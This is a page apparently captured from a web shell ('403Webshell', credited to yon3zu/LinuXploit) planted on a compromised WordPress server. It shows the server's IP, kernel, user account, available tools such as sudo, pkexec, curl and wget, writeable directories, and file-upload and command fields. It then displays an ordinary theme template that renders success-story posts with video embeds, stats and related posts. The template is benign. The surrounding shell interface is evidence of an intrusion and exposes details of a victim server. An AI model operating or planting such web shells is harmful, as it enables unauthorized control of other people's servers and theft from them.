403Webshell
Server IP : 65.108.144.40  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : dev ( 1000)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/successkpi/wp-content/themes/successkpi/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/successkpi/wp-content/themes/successkpi//single-success-stories.php
<?php
get_header();
while (have_posts()) : the_post();
    $banner_description = get_field('short_description');
    $hero_banner_type = get_field('image_or_video');
    $user_quote = get_field('user_quote');
    $quote      = $user_quote['quote'] ?? '';
    $user_image = $user_quote['user_image'] ?? [];
    $image_url = $user_image['sizes']['thumbnail'] ?? '';
    $image_alt = $user_image['alt'] ?? '';
    $user_info  = $user_quote['user_info'] ?? '';
    $banner_value = $hero_banner_type === 'video' ? get_field('hero_video') : get_field('featured_image');
    $featured_image = get_the_post_thumbnail_url(get_the_ID(), 'full');
    $related_card_heading = get_field('related_card_heading') ?:'You may also like';
    if ($hero_banner_type === 'video' && is_array($banner_value) && !empty($banner_value)) {
        $video_type = $banner_value['video_type'];
        $youtube_url = $banner_value['youtube_url'];
        $vimeo_url = $banner_value['vimeo_url'];
        $html_video = $banner_value['html_video'];
        if ($video_type === 'youtube' && $youtube_url) {
            $youtube_id = '';
            if (strpos($youtube_url, 'youtu.be/') !== false) {
                $youtube_id = basename(parse_url($youtube_url, PHP_URL_PATH));
            } else {
                parse_str(parse_url($youtube_url, PHP_URL_QUERY), $query);
                $youtube_id = $query['v'] ?? '';
            }
            if ($youtube_id) {
                $video_embed = '
                <iframe
                    class="video-player"
                    frameborder="0"
                    allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture"
                    allowfullscreen
                    src="https://www.youtube.com/embed/' . esc_attr($youtube_id) . '?autoplay=0&controls=1&rel=0&fs=1">
                </iframe>
            ';
            }
        }
        if ($video_type === 'vimeo' && $vimeo_url) {
            $vimeo_id = '';
            preg_match('/(\d+)/', $vimeo_url, $matches);
            if (!empty($matches[1])) {
                $vimeo_id = $matches[1];
                $video_embed = '
                <iframe
                    class="video-player"
                    frameborder="0"
                    allow="autoplay; fullscreen; picture-in-picture"
                    allowfullscreen
                    src="https://player.vimeo.com/video/' . esc_attr($vimeo_id) . '?autoplay=1">
                </iframe>
            ';
            }
        }
        if ($video_type === 'html_video' && $html_video) {
            if (is_array($html_video)) {
                if (!empty($html_video['url'])) {
                    $video_url = $html_video['url'];
                } elseif (!empty($html_video['file'])) {
                    $video_url = $html_video['file'];
                }
            }
            $video_embed = '
            <video controls autoplay playsinline class="video-player">
                <source src="' . esc_url($video_url) . '" type="video/mp4">
            </video>
        ';
        }
    }
?>
    <div class="single-success-story-container">
        <!-- HERO SECTION -->
        <section class="single-success-story-banner" data-aos="fade-up">
            <div class="container">
                <div class="single-success-story-banner-wrapper">
                    <div class="single-success-story-content">
                        <h1><?php the_title(); ?></h1>
                        <?php if ($banner_description) : ?>
                            <p>
                                <?php echo wp_kses_post($banner_description); ?>
                            </p>
                        <?php endif; ?>
                    </div>
                    <!-- Featured Image -->
                    <?php
                    if (empty($featured_image)) {
                        $acf_featured_image = get_field('featured_image');
                        if (!empty($acf_featured_image)) {
                            if (is_array($acf_featured_image) && !empty($acf_featured_image['url'])) {
                                $featured_image = $acf_featured_image['url'];
                            }
                        }
                    }
                    if ($hero_banner_type === 'image') {
                        if (has_post_thumbnail()) :
                    ?>
                            <div class="single-success-story-image">
                                <?php the_post_thumbnail('full'); ?>
                            </div>
                        <?php
                        else:
                            if (!empty($banner_value['ID'])) {
                                echo wp_get_attachment_image($banner_value['ID'], 'hero-banner');
                            }
                        endif;
                    } else {
                        ?>
                        <div class="single-video-wrapper">
                            <div class="bg-video-white">
                                <?php if ($featured_image) : ?>
                                    <div class="video-poster">
                                        <img
                                            src="<?php echo esc_url($featured_image); ?>"
                                            alt="<?php echo esc_attr(get_the_title()); ?>">
                                        <svg class="play-button" viewBox="0 0 133 133" fill="none" xmlns="http://www.w3.org/2000/svg">
                                            <path class="play-button-bg" d="M66.5 0C29.792 0 0 29.792 0 66.5C0 103.208 29.792 133 66.5 133C103.208 133 133 103.208 133 66.5C133 29.792 103.208 0 66.5 0ZM53.2 96.425V36.575L93.1 66.5L53.2 96.425Z" fill="#234CC6"></path>
                                            <path d="M96.8253 66.5073L52.8552 96.877L53.1848 35.6658L96.8253 66.5073Z" fill="white"></path>
                                        </svg>
                                    </div>
                                <?php endif; ?>
                                <div
                                    class="single-video-iframe aspect-ratio video"
                                    data-video='<?php echo esc_attr($video_embed); ?>'>
                                </div>
                            </div>
                        </div>
                    <?php
                    }
                    ?>
                </div>
            </div>
        </section>
        <!-- STATS -->
        <?php if (have_rows('roi_stats')) : ?>
            <section class="single-success-story-stats sk-section-spacing" data-aos="fade-up">
                <div class="container">
                    <div class="success-story-stat-cards">
                        <?php while (have_rows('roi_stats')) : the_row();
                            $prefix = get_sub_field('prefix');
                            $number = get_sub_field('number');
                            $suffix = get_sub_field('suffix');
                            $text = get_sub_field('text');
                        ?>
                            <div class="success-story-stat-card" data-aos="fade-up">
                                <?php if ($number) :
                                    if (!empty($prefix)): ?>
                                        <span><?php echo esc_html($prefix); ?> </span>
                                    <?php endif; ?>
                                    <span>
                                        <?= $number . ' ' . $suffix; ?>
                                    </span>
                                <?php endif; ?>
                                <?php if ($text) : ?>
                                    <p>
                                        <?php echo wp_kses_post($text); ?>
                                    </p>
                                <?php endif; ?>
                            </div>
                        <?php endwhile; ?>
                    </div>
                </div>
            </section>
        <?php endif; ?>
        <!-- CONTENT -->
        <section class="wysiwyg-block success-story-main-content" data-aos="fade-up">
            <div class="container">
                <?php the_content(); ?>
            </div>
        </section>
        <!-- QUOTE -->
        <?php if ($quote) : ?>
            <section class="single-success-story-quote sk-section-spacing" data-aos="fade-up">
                <div class="container">
                    <div class="quote-wrapper">
                        <div class="description">
                            <?php echo wp_kses_post($quote); ?>
                        </div>
                        <?php if ($user_image) : ?>
                            <div class="img-wrapper">
                                <img
                                    src="<?php echo esc_url($image_url); ?>"
                                    alt="<?php echo esc_attr($image_alt); ?>"
                                    width="50"
                                    height="50"
                                    class="user-success-story-image">
                            </div>
                        <?php endif; ?>
                        <?php if ($user_info != '') : ?>
                            <p class="designation">
                                <?php echo esc_html($user_info); ?>
                            </p>
                        <?php endif; ?>
                    </div>
                </div>
            </section>
        <?php endif; ?>
        <!-- SHARE -->
        <div class="single-share-icons sk-section-spacing" data-aos="fade-up">
            <div class="container">
              <?php $share_icon_heading = get_field('share_icon_heading');
                   if (!empty($share_icon_heading)) : ?>
                      <h3><?php echo esc_html($share_icon_heading); ?></h3>
                   <?php endif; ?>
                <div class="share-icons">
                    <?php echo do_shortcode('[social_share]'); ?>
                </div>
            </div>
        </div>
        <!-- RELATED POSTS -->
        <?php
        $args = [];
        $post_type = get_post_type();
        $post_type_object = get_post_type_object($post_type);
        $args = array(
            'post_type'      => 'success-stories',
            'posts_per_page' => 3,
            'post__not_in'   => array(get_the_ID()),
            'orderby'        => 'date',
            'order'          => 'DESC',
        );
        $related_posts = new WP_Query($args);
        if ($related_posts->have_posts()) :
        ?>
            <section class="cpt-card-block" data-aos="fade-up">
                <div class="container">
                    <?php if (isset($related_card_heading) && !empty($related_card_heading)): ?>
                    <h2><?php echo esc_html($related_card_heading); ?></h2>
                    <?php endif ; ?>
                    <div class="related-list">
                        <?php while ($related_posts->have_posts()) : $related_posts->the_post(); ?>
                            <a href="<?php the_permalink(); ?>" class="cpt-card">
                                <div class="cpt-card-image-wrapper">
                                    <?php if (has_post_thumbnail()) : ?>
                                        <?php the_post_thumbnail('full'); ?>
                                    <?php endif; ?>
                                </div>
                                <div class="sk-cpt-card-content">
                                    <span class="cpt-card-category">
                                        <?php
                                        if ($post_type_object) {
                                            echo esc_html($post_type_object->labels->singular_name);
                                        }
                                        ?>
                                    </span>
                                    <h3>
                                        <?php the_title(); ?>
                                    </h3>
                                    <p>
                                        <?php echo wp_trim_words(get_the_excerpt(), 14); ?>
                                    </p>
                                 <?php $cards_cta = get_field('cards_cta') ?: 'Read More';
                                  if (isset($cards_cta) && !empty($cards_cta)) : ?>
                                      <span class="sk-card-link">
                                        <?php echo esc_html($cards_cta); ?>
                                      </span>
                                  <?php endif; ?>
                                </div>
                            </a>
                        <?php endwhile; ?>
                    </div>
                </div>
            </section>
        <?php
            wp_reset_postdata();
        endif;
        ?>
    </div>
<?php
endwhile;
get_footer();
?>

Youez - 2016 - github.com/yon3zu
LinuXploit